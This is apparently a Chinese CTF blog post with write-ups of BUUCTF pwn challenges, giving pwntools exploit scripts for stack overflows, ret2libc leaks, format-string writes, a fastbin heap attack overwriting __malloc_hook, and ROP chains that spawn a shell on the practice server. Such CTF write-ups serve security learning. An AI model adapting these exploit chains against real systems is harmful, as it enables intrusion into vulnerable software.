胖胖

  • pwn1_sctf_2016
  • ciscn_2019_n_11
    • 补充movss /ucomiss
  • jarvisoj_level0
  • ciscn_2019_c_1
  • babyrop
  • [第五空间2019 决赛]PWN5
  • get_started_3dsctf_2016
  • ciscn_2019_en_2
  • 刮开有奖
  • ciscn_2019_n_8
  • not_the_same_3dsctf_2016
  • bjdctf_2020_babystack
  • [HarekazeCTF2019]baby_rop
  • jarvisoj_level2_x64
  • ciscn_2019_n_5
  • ciscn_2019_ne_5
  • others_shellcode
  • 铁人三项(第五赛区)_2018_rop
  • bjdctf_2020_babyrop
  • babyheap_0ctf_2017(堆,fastbin_attack)
  • pwn2_sctf_2016
  • jarvisoj_fm
  • ciscn_2019_s_3
  • bjdctf_2020_babystack2
  • [HarekazeCTF2019]baby_rop2
  • ciscn_2019_es_2
  • jarvisoj_tell_me_something
  • jarvisoj_level3
  • ez_pz_hackover_2016

实践是检验真理的唯一标准。

pwn1_sctf_2016

1.找到漏洞的利用点往往才是困难点。(直接F5看看反汇编)
发现两个可以函数跟进去看看
2.这里对反汇编出来的Vuln理解了半天(本还想从汇编直接分析,不过进展收获不大,欢迎有兴趣的朋友一起交流),下面还是从伪代码分析。
通过这几行能看出最后A变成了B。即把YOU 换成了I。
因为上面是S的溢出点是3C,可fgets之读取了32并不会超过3C,但函数会把一个32个I换成32个YOU就达到了溢出点。

3.ret位置
4.分析结束。2021.4.2

ciscn_2019_n_11

1.找利用点
11.28125对应内存中16进制两种查看方法。
一,

二,明显的if…else反汇编代码
CS:DWORD 4007F4即比较内容11.28125在内存中十六进制的存放

补充movss /ucomiss

movss相关的引入:
SSE – Streaming SIMD Extension,是Intel从PIII开始加入的一种x86扩展指令集。在SSE以前,x86的浮点运算都是以栈式FPU完成的,有一定x86汇编经验的人应该不会对那些复杂的fld、fst指令陌生吧。而SSE一方面让浮点运算可以像整数运算的模式、如 add eax , ebx 那样通过直接访问寄存器完成,绕开了讨厌的栈,另一方面引入了SIMD这个概念。SIMD – Single Instruction Multiply Data,顾名思义,它可以同时让一条指令在多个数据上执行,这种体系结构在一度在大型机上非常流行,需要经常进行海量运算的大型机器通常会通过一个数学SIMD虚拟机加快处理速度,比如同时让一组数据执行一个变换,数据的规模有上百万之巨,而SIMD则可以优化数据的存储与运算,减免某些切换Context的开销。

  • movss单精度赋值,movsd双精度赋值,而且不再是st0, st1,…,而是XMM0-XMM7。
    扩展参考:
    寄存器介绍
    汇编浮点指令fld、fstp
  • ucomiss
    SSE扩展

参考应该都在intel Ⅲ里面,想详细了解的可自行查看手册。

2.溢出距离
3.完。2021.4.3

jarvisoj_level0

1.溢出栈空间
2.ret函数

from pwn import *
sh = remote('node3.buuoj.cn',29622)payload = b'a'* 0x80 + p64(0xdeadbeef) + p64(0x400596)
sh.send(payload)
sh.interactive()

3.完。2021.4.4

ciscn_2019_c_1

1.先看看程序运行过程
2.没有已存在的可直接获得bash的函数

3.64位调用传参顺序
寄存器rdi,rsi,rdx,rcd,r8,r9。

4.泄露puts函数,通过libc构造system系统调用。

5.关于64位system调用对齐问题。
参考1
参考2

6.exp

from pwn import *
from LibcSearcher import *content = 0
context(os='linux', arch='amd64', log_level='debug')ret = 0x4006b9      #靶机是ubuntu,所以需要栈平衡
elf = ELF('./demo2')puts_plt = elf.plt["puts"]
puts_got = elf.got['puts']
main_addr = elf.symbols["main"]pop_rdi_ret = 0x400c83      #×64程序基本都存在的一个地址pop rdi;retdef main():if content == 1:p = process('demo2')else:  p = remote('node3.buuoj.cn',27986)payload = b'a' * (0x50 + 8)payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)p.sendlineafter('Input your choice!\n', '1')p.sendlineafter('Input your Plaintext to be encrypted\n', payload)p.recvuntil('Ciphertext\n') p.recvline()puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00'))print(puts_addr)      #找出puts的地址libc = LibcSearcher('puts', puts_addr)libc_base   = puts_addr - libc.dump('puts')      #找出函数地址偏移量system_addr = libc_base + libc.dump('system')      #计算出system的在程序中的地址binsh_addr  = libc_base + libc.dump('str_bin_sh')    payload = b'a' * (0x50 + 8)payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)p.sendlineafter('Input your choice!\n', '1')p.sendlineafter('Input your Plaintext to be encrypted\n', payload)p.interactive()main()

7.环境问题flag不知道怎么没出来(地址已经泄露出来了)。有知道怎么解决的教教孩子吧!!

8.补充:
exp里面指定libc ,加上libc = ELF(’./libc.xxx’)获得flag成功。
完。2021/4/5-6

babyrop

1.流程分析

2.找到溢出点
3.绕过比较
4.exp

from pwn import *
from LibcSearcher import *
#p = process('./pwn')
elf=ELF('./pwn')
p = remote('node3.buuoj.cn',27069)libc = ELF('./libc-2.23.so')        //指定libc
put_plt=elf.plt['puts']put_got=elf.got['puts']main_addr=0x8048825payload='\x00'+'a'*6+'\xff'    //关键绕过p.sendline(payload)p.recvuntil('Correct\n')payload1 = 'a'*0xe7+'a'*4+p32(put_plt)+p32(main_addr)+p32(put_got)p.sendline(payload1)put_addr = u32(p.recv(4))
print hex(put_addr)
libc=LibcSearcher('puts',put_addr)libc_base=put_addr-libc.dump('puts')system_addr=libc_base+libc.dump('system')bin_sh_addr=libc_base+libc.dump('str_bin_sh')p.sendline(payload)p.recvuntil('Correct\n')payload2='a'*0xe7+'b'*0x4payload2 += p32(system_addr)*2+p32(bin_sh_addr)p.sendline(payload2)p.interactive()

[第五空间2019 决赛]PWN5

1.IDA查看

2.熟悉流程

3.

from  pwn import *
#p = process('./pwn5')
p = remote('node3.buuoj.cn',25392)
payload = p32(0x804c044)+ b'%10$n'
p.recvuntil('your name:')
p.sendline(payload)p.recvuntil('passwd:')
p.sendline(b'4')
p.interactive()

get_started_3dsctf_2016

2.

3.参考
三种EXP方法

ciscn_2019_en_2

请参考ciscn_2019_c_1,完全一样。

刮开有奖

它没让我刮开,hhh。
1.2.
放到C里面跑下,得出新值
3CEHJNSZagn即V7后面的10个数

base64标志

4.逆推得出flag
str[0] = ‘3’+34=‘U’
str[1] =‘J’
str[2] = ‘W’
str[3] = ‘P’
总过flag8位
得出
flag{UJWP1jMp}

ciscn_2019_n_8

1.基操


2.QWORD 8字节
3.exp

from pwn import *
sh = remote('node3.buuoj.cn',28951)
#sh = process('./cisn8')payload = b'a'*13*4 + p64(0x11)  #0x11=17
sh.sendline(payload)
sh.interactive()

not_the_same_3dsctf_2016

1.IDA找到了相关flag函数

2.利用mprotect函数mprotect函数详解
exp如下:

from pwn import *#p=process('./pwn')elf=ELF('./not')p=remote('node3.buuoj.cn',25316)mprotect_addr=elf.sym["mprotect"]read_plt=elf.sym["read"]pop_3_ret=0x0809e3e5pop_ret=0x08048b0bm_start=0x080ec000bss= 0x80ECA2Dlen=0x2000prot=7payload_1="a"*45+p32(mprotect_addr)+p32(pop_3_ret)+p32(m_start)+p32(len)+p32(prot)payload_1+=p32(read_plt)+p32(bss+0x400)+p32(0)+p32(bss+0x400)+p32(0x100)p.sendline(payload_1)payload_2=asm(shellcraft.sh(),arch = 'i386', os = 'linux')p.sendline(payload_2)

bjdctf_2020_babystack


from pwn import *#p=process('./bjd')p=remote('node3.buuoj.cn',28431)sys_addr=0x4006E6payload='a'*24+p64(sys_addr)p.recvuntil("Please input the length of your name:")p.sendline(str(len(payload)))p.recvuntil("What's u name?")p.sendline(payload)p.interactive()

[HarekazeCTF2019]baby_rop

from pwn import *from LibcSearcher import LibcSearcher#p=process('./babyrop2')p=remote('node3.buuoj.cn',25002)elf=ELF('./babyrop2')read_got=elf.got['read']printf_plt=elf.plt['printf']main_addr=elf.sym['main']format_addr=0x400770payload='a'*40+p64(0x400733)+p64(format_addr)+p64(0x400731)+p64(read_got)+p64(0)payload+=p64(printf_plt)+p64(main_addr)p.sendlineafter("name?",payload)p.recvuntil('!\n')read_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))libc=LibcSearcher("read",read_addr)libc_base=read_addr-libc.dump('read')sys_addr=libc_base+libc.dump("system")binsh_addr=libc_base+libc.dump("str_bin_sh")payload2='a'*40+p64(0x400733)+p64(binsh_addr)+p64(sys_addr)+p64(0)p.sendline(payload2)p.interactive()

jarvisoj_level2_x64

1,IDA F5

2,搜索SHIFT+F12字符串

3,溢出点

4,构造payload(64位传参方式)

5.exp

from pwn import *
p = remote("node4.buuoj.cn",25087)
sys_addr = 0x40063E
bin_sh = 0x600A90
pop_edi_ret =0x4006b3
payload = 0x88*'a'+p64(pop_edi_ret) + p64(bin_sh) + p64(sys_addr)p.sendline(payload)
p.interactive()

ciscn_2019_n_5

1,查看文件

2,IDA查看

两次输入,read,gets获取用户输入。
3,name在bss段,gets控制流程跳转值read输入的shellcode。

text离ret偏移0x28。

4,exp(标准模板样式)

from pwn import *
from LibcSearcher import * local_file  = './ciscn_2019_n_5'
local_libc  = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = './libc.so.6'select = 1if select == 0:r = process(local_file)libc = ELF(local_libc)
else:r = remote('node4.buuoj.cn', 28983)#libc = ELF(remote_libc)elf = ELF(local_file)context.log_level = 'debug'
context.arch = elf.archse      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims            :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))def debug(cmd=''):gdb.attach(r,cmd)sh = asm(shellcraft.sh())
p1 = sh
sla('name\n', p1)
name_addr = 0x601080
p2 = flat(['a'*0x28, name_addr])
sla('me?\n', p2)r.interactive()

ciscn_2019_ne_5

1,标配查看文件

2,IDA/运行

溢出位置

src来源(128字节)

3,找bin_sh有sh也行。

ROPgadget --binary ciscn_2019_ne_5  --string "sh"


4.exp

from pwn import *r=remote('node4.buuoj.cn',29028)sh = 0x080482ea
system=0x080484d0r.sendlineafter('password:','administrator')
r.sendlineafter(':','1')    //写入payload
payload = 'a'*0x48 +p32(0xdeadbeef)+p32(system)+p32(0xdeadbeef)+p32(sh)
r.sendlineafter('info',payload)
r.sendlineafter(':','4')r.interactive()

others_shellcode

nc 就有…

铁人三项(第五赛区)_2018_rop

1,直接进IDA,一道典型ret2libc题(思路简单,不过LibcSearcher不太好用,这里介绍利用pwntools的DynELF)

无system,binsh。
有write和溢出的位置。

2.exp

from pwn import *
r=remote('node4.buuoj.cn',26124)e=ELF('./2018_rop')
write_plt=e.plt['write']
read_plt=e.plt['read']
main_addr=e.symbols['main']
bss_addr=e.symbols['__bss_start']
def leak(address):payload1='a'*(0x88+0x4)+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(address)+p32(0x4)r.sendline(payload1)leak_address=r.recv(4)return leak_addressd=DynELF(leak,elf=ELF('./2018_rop'))   //pwntool自带
sys_addr=d.lookup('system','libc')payload2='a'*(0x88+0x4)+p32(read_plt)+p32(main_addr)+p32(0x0)+p32(bss_addr)+p32(0x8)
r.sendline(payload2)
r.sendline('/bin/sh')payload3='a'*(0x88+0x4)+p32(sys_addr)+p32(main_addr)+p32(bss_addr)
r.sendline(payload3)

题外话:假如手动调试,暴露出got,然后得出libcbase的后三位要是000才是正确的基址(页对齐)。

bjdctf_2020_babyrop

1,还是一道rop的题目,思路同上,IDA里面没有可直接利用的system等。

可溢出的点

2,64位的软件,传参不同,ROPgadget找pop rid,构造exp如下

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
r=remote('node4.buuoj.cn',26505)
#r=process('./babyrop')
elf=ELF('./babyrop')
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400733
payload='a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))
print hex(puts_addr)
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
payload2='a'*40+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload2)r.interactive()

本想用pwntools的DynELF模块做的,没成功,有知道的大师傅,可以交流交流。(已了解到的好像是PUTS会被00截断导致模块利用不成功)

babyheap_0ctf_2017(堆,fastbin_attack)

1,运行一遍,基本的堆题流程。

2,分析关键代码(等会我们调试时在内存中查看):
分配的大小不能超过 4096 字节

  • *(24LL * i + a1):置 1 表示 chunk 已经创建
  • *(a1 + 24LL * i + 8):存储 chunk 的大小
  • *(a1 + 24LL * i + 16):存储 chunk 的地址

    利用思路:两次 double free 与 fastbin attack 。第一次先泄露 libc 地址,然后找到构造 fack chunk 的地址。第二次通过构造的 fack chunk 堆溢出覆写 __malloc_hook 完成 get shell 。
    泄露原理:unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,所以得到这个fd的值,然后减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。

清楚理解:free chunk 和 allocated chunk时候。(两个chunk同一个地址,不同状态部分区域表示不同)


3,调试分析

3.1查看堆空间chunk结构

可以看出0x5628…10/30/50等是上述 *(a1 + 24LL * i + 16):存储 chunk 的地址,利用gdb中的find去查看相关mapped,并查看内存地址处内容。

发现正好对应allocated chunk的结构处地址。(这里也正是利用处,进行篡改内容)

3.2,同过free()使fastbin[]获得内容回收,然后fill()改变指针指向

再看一看这地址:

注意:每次这mapped的映射地址会变,但内容结构还是

  • *(24LL * i + a1):置 1 表示 chunk 已经创建
  • *(a1 + 24LL * i + 8):存储 chunk 的大小
  • *(a1 + 24LL * i + 16):存储 chunk 的地址

通过fill()进行修改*(a1 + 24LL * i + 16)处存的内容,即mem指向处,达到通过fill()改变chunk的结构中的内容。


3.3修改内容
此时的fastbin[0]->index2->index4

跟预测的一样,这里3p8通过结构的布局应该很容易理解了。

3.4把 chunk 2 的内容覆盖为 chunk 4 的地址,这样相当于 chunk 4 已经被 free 了而且被存放在 fastbin 中。(当chunk 4 被free了依然能通过chunk2 对 chunk4操作)。
简单理解:当前chunk2和chunk4指向同一个位置

注:这里还有个检查机制,要 malloc 回 chunk 4(重新fill()函数对chunk4大小内容修改,使其free()进unsort) ,可是 malloc fastbin 有检查, chunksize 必须与相应的 fastbin_index 匹配,所以我们覆盖 chunk 4 的 size 为 fastbin 大小。

3.5后面就是利用泄露出来的libc,同时一样控制修改流程,实现系统调用了。

目标是覆盖 __malloc_hook 函数,这样我们调用 malloc 时就相当于调用我们写入的内容。
后面可以参考(修改方式跟上面一样的):
https://www.cnblogs.com/luoleqi/p/12349714.html

下面这位置偏移就纯靠经验积累了(还是构造出上面结构:)

  • *(24LL * i + a1):置 1 表示 chunk 已经创建
  • *(a1 + 24LL * i + 8):存储 chunk 的大小
  • *(a1 + 24LL * i + 16):存储 chunk 的地址

然后,把 chunk 4 malloc 回来,这次 malloc 的大小在 fastbin 之内,然后把 chunk 4 的内容改为我们下一个要构造块的地址(chunk 4 已经被 free 掉,所以无法用 fill(4) 写入,由于我们刚刚把 chunk 2 的 fd 指针改为 chunk 4 的地址,所以第一次 malloc(0x10) 的时候是分配的原来 chunk 2 的块给 index 1,第二次 malloc(0x10) 的时候就会分配 chunk 4 的块给 index 2,也就是说 index 2 与 index 4 的内容都是 chunk 4)。

在 __malloc_hook 地址处写入 one_gadget ,这样再次 allocate 就可以调用 one_gadget 拿 shell(相当于指针函数去实现调用)

注:malloc_hook 是一个libc上的函数指针,调用malloc时如果该指针不为空则执行它指向的函数,可以通过写malloc_hook来getshell
4,完整exp

from pwn import *#p=remote('node4.buuoj.cn',29926)p=process('./babyheap_0ctf_2017')def allocate(size):p.recvuntil('Command: ')p.sendline('1')p.recvuntil('Size: ')p.sendline(str(size))def fill(idx,content):p.recvuntil('Command: ')p.sendline('2')p.recvuntil('Index: ')p.sendline(str(idx))p.recvuntil('Size: ')p.sendline(str(len(content)))p.recvuntil('Content: ')p.send(content)def free(idx):p.recvuntil('Command: ')p.sendline('3')p.recvuntil('Index: ')p.sendline(str(idx))def dump(idx):p.recvuntil('Command: ')p.sendline('4')p.recvuntil('Index: ')p.sendline(str(idx))p.recvline()return p.recvline()allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)#gdb.attach(p)free(1)
free(2)#gdb.attach(p)
payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)#gdb.attach(p)payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)#gdb.attach(p)allocate(0x10)
allocate(0x10)
fill(1,'aaaa')
fill(2,'bbbb')
payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))allocate(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)allocate(0x60)
allocate(0x60)payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)gdb.attach(p)allocate(255)p.interactive()

pwn2_sctf_2016

1,int转unsigned int 大数变小数导致溢出

接收的输入是int,而下面判断的长度是unsigned int。

2,溢出位置

3,exp

from pwn import *
from LibcSearcher import *r = remote("node4.buuoj.cn", 27654)
#r = process("./pwn2_sctf_2016")
elf = ELF("./pwn2_sctf_2016")
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main = 0x080485B8
print r.recvuntil("How many bytes do you want me to read? ")
r.sendline('-1')
print r.recvuntil('\n')
payload = 'a' * 0x30 + p32(printf_plt) + p32(main) + p32(printf_got)
r.sendline(payload)print r.recvuntil('\n')
printf_addr = u32(r.recv(4))
print "printf:", hex(printf_addr)
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
print "system:", hex(system)
print "bin_sh", hex(bin_sh)
print r.recvuntil("How many bytes do you want me to read? ")
r.sendline('-1')
print r.recvuntil('\n')
payload = 'a' * 0x30 + p32(system) + p32(main) + p32(bin_sh)
r.sendline(payload)
r.interactive()1,0-1        顶端

jarvisoj_fm

1,格式化字符串利用,实现内存写入。

2,x == 4即可进入system调用。
实际运行X的值是3:


3,确认输入参数格式化字符的位置,需要利用此处重新填入修改x的地址(即0x0804A02C)。
确认方法:
输入:aaaa%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p

回显:

然后,数0x61616161是第几个0x位置。 得出是11。
注:aaaa即你要魔改的地方,填入x的位置的地址,然后利用%n的功能,修改此处的值。

4,exp

from pwn import *
p = remote("node4.buuoj.cn",28781)
x_addr=0x0804A02C
print hex(x_addr)
payload = p32(x_addr) + '%11$n' #p32()得出的4字节大小被写入p32(x_addr)地址,也就是确定0x61616161位置的原因。
p.sendline(payload)
p.interactive()

ciscn_2019_s_3

1,一道__libc_csu_init辅助构造ROP。(也可以用SROP方法)

需要利用的位置。
2,两个可以利用的系统调用号。

  • 15 sys_rt_sigreturn

  • 59 sys_execve(两者选一个利用便可)

    3,构造思路(这题是x64的传参方式)

      xor rax , rax --------------->将rax寄存器里的值设置为了0(任何一个数异或它本身都等于0)mov edx , 400h ------------->将edx寄存器的值设置为了0x400lea rsi , [rsp+buf] ----------->将buf参数的地址传入寄存器rsimov rdi ,rax --------------->将rax寄存器里的值(0)传入rdi寄存器(将rdi设置为0)syscall------------------------->进行系统调用
    

4,利用write会泄露栈上的地址,我们需要根据泄露的地址来参考构造缓存区buff的偏移地址。(关键)
gdb调试技巧:

  • 首先必须清楚内存数据布局:
    局部变量往地址输入打印输出

  • pwndbg stack查看rsp上面的栈分布:

pwndbg的stack指令直接看到的就是rsp下面的栈分布,这个时候应该怎么办呢?以前学过用pwndbg给地址和寄存器赋值,代码是:

 Set *addr = value      //给地址赋值Set $rsp = value        //给寄存器赋值

1>gdb 断在0x400519位置处


2>此时栈顶rsp是write调用完,未指向buff的地址处。
利用小技巧,向上查看栈数据:


发现我们输入的aaaa出现,惊不惊喜,意不意外,哈哈哈其实都在预料之内。
0x7fffffffdcd0即为buff[]起始地址位置。

出现了两个栈上地址。
排除0x7fffffffdd00,原因:内存数据布局,往高地址输出,0x7fffffffdd00<0x7fffffffdcd0(buff起始地址)。
得出偏移 = 0x7fffffffdde8 - 0x7fffffffdcd0 = 0x118
为什么需要知道这个offset呢?
通过动态获取的buff起始地址在别的环境可能会由于随机化问题发生变法,但是offset是固定不变的。
5,exp

from pwn import *#p=process('./ciscn_s_3')
p=remote('node4.buuoj.cn',28377 )
context.log_level = 'debug'vlu=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580
syscall=0x00400517payload='/bin/sh\x00'*2+p64(vlu)
p.send(payload)
#gdb.attach(p)p.recv(0x20)  #接收write前0x20个字节
sh=u64(p.recv(8))-280  #接收leak地址,通过offset得出buff起始地址
print(hex(sh))pl2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x58) + p64(0) *3
pl2+=p64(mov_rdxr13_call)+p64(execv) #sh+0x58 下附说明
pl2+=p64(pop_rdi)+p64(sh)+p64(syscall)
p.send(pl2)p.interactive()


说明:

bjdctf_2020_babystack2

思路:整型溢出qword -> dword + 栈溢出
1,IDA分析

执行程序可获知if判断:


system可利用:

2,exp

from pwn import *#p = process('./bjdctf_2020_babystack2')
p = remote("node4.buuoj.cn",26101)
context.log_level='debug'
system = 0x0400726
p.recv()
p.sendline('-1')
p.recv()
payload = 'a'*0x10 + 'bbbbbbbb' + p64(system)
p.send(payload)
p.interactive()

[HarekazeCTF2019]baby_rop2

栈溢出+泄露libc地址调用system
1,64位程序,IDA分析

2,寻找64位传参rdi,rsi寄存器,构造rop链。
选取下面这两个位置的:

3,泄露read_got的地址。

然后再次构造payload 调用system(bin_sh)。
4,exp

from pwn import *
from LibcSearcher import *context_debug_level = 'debug'r = remote("node4.buuoj.cn", 28443)
#r = process("./babyrop2")
elf = ELF("./babyrop2")
#libc = ELF("./libc.so.6")
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main = elf.sym['main']pop_rdi_ret = 0x400733
pop_rsi_r15_ret = 0x400731
frm_str = 0x400770payload = 'a'*0x28 + p64(pop_rdi_ret) + p64(frm_str) + p64(pop_rsi_r15_ret) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main)print r.recvuntil("name? ")
r.sendline(payload)
read_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))  print hex(read_addr)
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
print "system:", hex(system)
print "bin_sh", hex(bin_sh)payload = 'a' * 0x28 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
r.sendline(payload)
r.interactive()

注解: read_addr = u64(r.recvuntil(’\x7f’)[-6:].ljust(8,’\x00’))
直到7f出现的位置作为终点,开始往前读6个字节数据,然后再8字节对齐,不足8位补\x00。

ciscn_2019_es_2

栈迁移考察
https://www.cnblogs.com/remon535/p/13507217.html
注:
1、read大小为0x30,s变量和ebp距离为0x28。只能覆盖ebp和ret,但是覆盖不到需要构造的/bin/sh参数 ,所以实际需要0x30+8。
其中多需要的8=deadbeef(填充的ret) + arg(/bin/sh)
2、首先利用printf获取上个栈帧的ebp。printf遇到00就会截断,把00填充了,printf就会顺便把ebp及遇到00前的数据都打印出来。
3、0x48-0x10等于s距ebp的偏移0x38

4、payload2=‘a’*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"。
p32(ebp-0x28)+"/bin/sh"
p32(ebp-0x28):本来是/bin/sh的地址,但是程序中没有/bin/sh字符串存在,所以需要指向 ebp-0x28 =s的地址,后面就是输入的"/bin/sh"了。

jarvisoj_tell_me_something

注意下函数首部的代码与常见的方法不同,说到底还是多看汇编,少F5。
https://www.cnblogs.com/bhxdn/p/12307105.html

jarvisoj_level3

ret2libc3 无system,无binsh
https://www.cnblogs.com/yisicanmeng/articles/14579554.html

ez_pz_hackover_2016

ret2shellcode(没有任何写保护,具有可执行权限)

https://blog.csdn.net/mcmuyanga/article/details/108964698

1,绕过strcmp()
2,
0x38-0x22=0x16
‘a’*(0x16-8+4)
gdb动态调一下,IDA不准

3,
p32(stack-0x1c)

buuctf(pwn)相关推荐

  1. 攻防世界(PWN)forgot

    感觉有些wp写的不是特别详细,当时我看的时候有的地方也是看不太懂... 先拖进ida中看一下: 找到溢出点,因为我们分配给了v2 32byte的内存,但是scanf不限制长度,所以这里可以溢出. 第8 ...

  2. buuctf——(SUCTF2019)SignIn

    1.查壳. 无壳,64位文件. 2.丢到IDA中反编译. 3.分析代码.最后是比较v6和v7 关键是_gmpz_powm这个函数 网搜了下,发现都是英文(枯了枯了),就求助了一下大佬. 这个函数和__ ...

  3. (攻防世界)(pwn)forgot

    这题我也是想了好久啊,实在是没找到什么办法,后来还是把题目给摸透了根据经验一个个试出来的方法!!! 拿到题目下载附件查看保护: 只开了NX,嗯... 进入IDA,----惊了,这个是啥子意思??? 一 ...

  4. (jarvisoj)(pwn)guestbook2/level6_x64

    guestbook2和level6_x64真的是一摸一样的,两个题目除了提示文字不同,其他的漏洞根本一样,鉴于jarvisoj中的pwn服务器比pwn2服务器要稳定一点,所以这里就写guestbook ...

  5. (攻防世界)(pwn)welpwn

    首先,放在最前面:这题服务器远端的libc版本是libc-2.23.so而不是libc-2.19.so的版本(害得我编译半天出不来) 看到题目,我们下载附件,一看是个tar.gz文件,我们解压一下,发 ...

  6. (攻防世界)(pwn)babyfengshui

    入门级的堆题,拿来学习还是不错的. 做这道题之前,最好还是先对堆的数据结构有一定的了解. 拿到题目,下载附件,查看保护. 一个32位的程序,开了NX和Canary保护,这都不是重头戏毕竟这题不用栈,栈 ...

  7. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  8. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  9. BUUCTF VN2020 公开赛 Misc(复现)

    BUUCTF V&N2020 公开赛 Misc(复现) 真·签到 拉胯的三条命令 ML 第一步 内存取证 Final Game 真·签到 CV大法题 Flag:flag{welcome_to_ ...

最新文章

  1. core data 学习笔记
  2. 你需要的不是重构,而是理清业务逻辑(转)
  3. Just another board game 博弈-vector套vector
  4. Zookeeper_简介
  5. javascript-操作符
  6. 【安卓开发 】Android初级开发(零)各种布局
  7. MSP432P401R TI Drivers 库函数学习笔记(一)导入工程模板
  8. ElasticSearch入门篇
  9. 课后作业一 小九九 课后作业二 任意一个数在此范围被七整除的个数...
  10. 华为STP相关功能配置
  11. Python工程师面试题目
  12. java组件技术考试题_Java核心技术2020年春答案试题题目及答案,期末考试题库,章节测验答案...
  13. Saliency Detection: A Spectral Residual Approach
  14. RecyclerView实现横向滚动
  15. 0 upgraded, 0 newly installed, 0 to remove and 6 not upgraded解决方法
  16. Linux下查看SSD硬盘型号、大小等信息
  17. shiro加盐走源码
  18. python正则表达式介绍
  19. 维基解密披露CIA Grasshopper远程木马套件 Windows预安装环境、Carberp财务恶意软件的计算机驻留方法都用上了...
  20. 关于使用C#WInform编程时两个窗口互操作的方法

热门文章

  1. go语言入门-1 环境搭建
  2. 2017无忧题库计算机一级,[2017年整理]计算机二级vf无忧题库第90道.ppt
  3. 第11篇 web3.js - Ethereum JavaScript API(eth)
  4. C#中的委托是什么?事件是不是一种委托?事件和委托的关系。
  5. Flume四:多路复用(ChannelSelector之Multiplexing)+自定义拦截器
  6. 微信小程序python flask_Python Flask 搭建微信小程序后台详解
  7. 数据结构与算法(四)-双向链表(DoublyLinkedList)
  8. Microsoft Expression Blend 4 激活码
  9. mac下设置通过别名ssh登录远程服务器
  10. oracle数据库巡检内容